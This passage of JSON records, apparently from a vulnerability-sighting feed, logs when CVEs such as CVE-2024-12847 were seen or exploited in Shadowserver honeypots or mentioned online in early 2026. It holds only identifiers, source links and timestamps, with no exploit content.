"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-02)", "content": "", "creation_timestamp": "2026-01-02T00:00:00.000000Z"}, {"uuid": "3b83c88d-bed0-4b0c-b314-0a188f2a9864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-25)", "content": "", "creation_timestamp": "2026-02-25T00:00:00.000000Z"}, {"uuid": "da4a0708-fae6-43b7-82eb-09d9b627c049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-19)", "content": "", "creation_timestamp": "2026-02-19T00:00:00.000000Z"}, {"uuid": "a4c7e3d7-5378-4862-b956-9504a75cf50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-03)", "content": "", "creation_timestamp": "2026-01-03T00:00:00.000000Z"}, {"uuid": "85821b8a-1734-438c-bf37-1e5371e3f534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-20)", "content": "", "creation_timestamp": "2026-02-20T00:00:00.000000Z"}, {"uuid": "d3ad5061-95bc-4d14-8245-5d0af315e1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-28)", "content": "", "creation_timestamp": "2026-02-28T00:00:00.000000Z"}, {"uuid": "6da02bf1-04e2-4a33-9bd8-2955106b0c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-04)", "content": "", "creation_timestamp": "2026-01-04T00:00:00.000000Z"}, {"uuid": "27116d44-58e7-4d24-8da8-5e0ddc2685a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me24qaafrw2h", "content": "", "creation_timestamp": "2026-02-04T14:50:13.582806Z"}, {"uuid": "2a0a4ccb-ba64-46f9-b074-2229e7c96228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-12)", "content": "", "creation_timestamp": "2026-02-12T00:00:00.000000Z"}, {"uuid": "e8c90c98-e051-4cd8-8b70-a18c1e08831f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "58511dd9-fb6d-4bb5-baf7-360156556d4f", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "https://www.exploit-db.com/exploits/52268", "content": "", "creation_timestamp": "2026-01-30T10:30:07.024024Z"}, {"uuid": "768f20b0-f6a5-46e0-814c-b23ed8d60f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mbqtoxubss2k", "content": "", "creation_timestamp": "2026-01-06T11:24:09.242431Z"}, {"uuid": "b24874c7-2808-4e00-9100-2bac9c399e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3mbr4xhxgcx2p", "content": "", "creation_timestamp": "2026-01-06T14:09:55.776527Z"}, {"uuid": "7dea9fa3-2d8a-4da5-982a-480dd861df82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mbr4xnxsoa32", "content": "", "creation_timestamp": "2026-01-06T14:10:22.530594Z"}, {"uuid": "a50f4ac4-928d-4731-a927-18bdb163600a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "e06f208c-28e9-467e-9422-4edf0d159fb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-01)", "content": "", "creation_timestamp": "2026-03-01T00:00:00.000000Z"}, {"uuid": "e4b3473c-5bf5-44a9-8c32-ad505df95570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-07)", "content": "", "creation_timestamp": "2026-01-07T00:00:00.000000Z"}, {"uuid": "ee3cf248-ac01-4b58-9fb6-bfe569c059bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "a5789c54-62d5-439f-9e26-6fbd7f373543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "c501c61c-f246-46fd-ab86-94ad60462483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-07)", "content": "", "creation_timestamp": "2026-01-07T00:00:00.000000Z"}, {"uuid": "3a3c60ff-77a2-4ea7-83fc-da521e538f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-08)", "content": "", "creation_timestamp": "2026-01-08T00:00:00.000000Z"}, {"uuid": "c11bb8be-a46d-4837-8baf-0819aa9b6280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-25)", "content": "", "creation_timestamp": "2026-03-25T00:00:00.000000Z"}, {"uuid": "d75cb621-0218-4384-9e79-16c3d9a48493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "7df6cbb0-d883-4254-868b-c2c75b263b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-18)", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "ecdea8ac-1ca7-412c-9f55-a101718b1279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-08)", "content": "", "creation_timestamp": "2026-01-08T00:00:00.000000Z"}, {"uuid": "db4b16c1-c58f-4243-a2f9-375fafd6a5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "74345ca8-04e0-4cfb-bfcd-ac623f49606f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-14)", "content": "", "creation_timestamp": "2026-03-14T00:00:00.000000Z"}, {"uuid": "0b57bb03-804c-4262-a900-70aebde379aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-09)", "content": "", "creation_timestamp": "2026-01-09T00:00:00.000000Z"}, {"uuid": "8a53a7cf-430a-49a0-bf83-c1c4e27ea5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-09)", "content": "", "creation_timestamp": "2026-01-09T00:00:00.000000Z"}, {"uuid": "bfb78d23-d5bc-4d14-846d-6a7dd133ed1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-16)", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "bfff8a89-37a8-47fc-b993-8e36bf30f8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-13)", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "3cea439a-0902-40ea-9593-cfbc4c1f8828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "ca96f955-4893-46c5-a153-de0fc0f2ab6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-29)", "content": "", "creation_timestamp": "2026-03-29T00:00:00.000000Z"}, {"uuid": "772a9e11-fdde-442f-ba13-7bd16a6a5721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-17)", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "b6807155-ef98-4fa8-88c9-28cc26cee4b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "d3dac007-ce70-46af-a220-eddd27be0a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "87c994cc-3c4a-4b3f-aa10-a558f996780d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "ff5985c8-c027-4883-84ab-f039ee5f571c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-28)", "content": "", "creation_timestamp": "2026-03-28T00:00:00.000000Z"}, {"uuid": "c25bfbad-4b5a-4703-bda7-281ae1ab4260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-22)", "content": "", "creation_timestamp": "2026-03-22T00:00:00.000000Z"}, {"uuid": "4596effd-46a8-4363-bc4e-c31aa9045afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-23)", "content": "", "creation_timestamp": "2026-03-23T00:00:00.000000Z"}, {"uuid": "65bc7992-c337-4fad-a561-7f6410076e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "711534ad-85c8-4b05-9e5a-ef491334fc35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "f58b5c06-e132-4717-ac93-b5b7c4cff392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "45d130da-7c24-4887-8ad8-b6c15b8c962e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-18)", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "b5e4eb6c-0324-4ce2-a2a4-fe02723188ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-12)", "content": "", "creation_timestamp": "2026-01-12T00:00:00.000000Z"}, {"uuid": "190577d8-e04c-42d3-80a5-8bbdb6cc264d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-12)", "content": "", "creation_timestamp": "2026-01-12T00:00:00.000000Z"}, {"uuid": "e41d217e-b41e-4ab6-aae7-95e717a5de94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-14)", "content": "", "creation_timestamp": "2026-03-14T00:00:00.000000Z"}, {"uuid": "30c40a9c-51c7-468d-affa-065bd7ebcf14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-26)", "content": "", "creation_timestamp": "2026-03-26T00:00:00.000000Z"}, {"uuid": "f3cd0cdb-9f8f-49d8-9bcd-ceebf7af279b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-16)", "content": "", "creation_timestamp": "2026-03-16T00:00:00.000000Z"}, {"uuid": "54698303-3079-4dc8-9ab3-e9d5e23dd1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-27)", "content": "", "creation_timestamp": "2026-03-27T00:00:00.000000Z"}, {"uuid": "aafe00d6-4f58-4d05-a12e-e4c143d597c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-13)", "content": "", "creation_timestamp": "2026-03-13T00:00:00.000000Z"}, {"uuid": "f83d21d3-b595-4978-b62b-8c0bd10acf16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-24)", "content": "", "creation_timestamp": "2026-03-24T00:00:00.000000Z"}, {"uuid": "84c4357c-61d8-41cc-90c3-9e10f707d6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "1826a555-a624-4364-baf3-da79860d0046", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "ebb5e6f2-8034-470a-a217-9818e3a0997d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "ce0d777d-0997-495e-98e4-23823a661e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-13)", "content": "", "creation_timestamp": "2026-01-13T00:00:00.000000Z"}, {"uuid": "73daff55-a53a-4776-8a8d-091e9d3a23bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-11)", "content": "", "creation_timestamp": "2026-03-11T00:00:00.000000Z"}, {"uuid": "e33619ae-c795-4aea-a967-8370eec6fca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "424d9a3d-e41c-4802-b41b-696408d905f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "a3135263-b6d3-4ced-be27-46f28ef009da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "3179be79-4160-48e5-bcae-24eec8d3c732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "d29a602c-6559-4d97-99df-810af77bfec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "23fb3ac3-370f-44d5-9e1f-0939c11f5ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-27)", "content": "", "creation_timestamp": "2026-03-27T00:00:00.000000Z"}, {"uuid": "65e5b027-6969-4928-af97-a1fb3d7b8044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "b79b2831-4dc8-4f25-8dc5-82decccf9a45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "0847600e-1b36-4c63-bc23-83c00dbe8e37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-16)", "content": "", "creation_timestamp": "2026-01-16T00:00:00.000000Z"}, {"uuid": "9b78ffd3-f02c-4a92-81b5-156ae7fb3cb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-16)", "content": "", "creation_timestamp": "2026-01-16T00:00:00.000000Z"}, {"uuid": "919f4807-2525-4c15-b4b5-e6885ae9c6df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-15)", "content": "", "creation_timestamp": "2026-03-15T00:00:00.000000Z"}, {"uuid": "52b90d00-1238-4bcb-9eac-146535b828a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "4a96f0e0-f638-458a-b747-52e3afcd10b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "d4191d61-d0b7-4d4e-8338-e790c340dd5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "45f32e94-2b9b-4f74-9417-5b18405caf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-a857457d-5caacd1223a0e069", "content": "", "creation_timestamp": "2026-03-27T14:18:10.216463Z"}, {"uuid": "b0a90dc0-9f55-49e1-a8ec-ba2c129e5de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "3b833956-a312-409d-a0a1-1dbe1199ef64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "5e51a109-2f93-4efa-850a-99b0b05c969f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "de5ca687-db96-4465-9650-eba06d61f821", 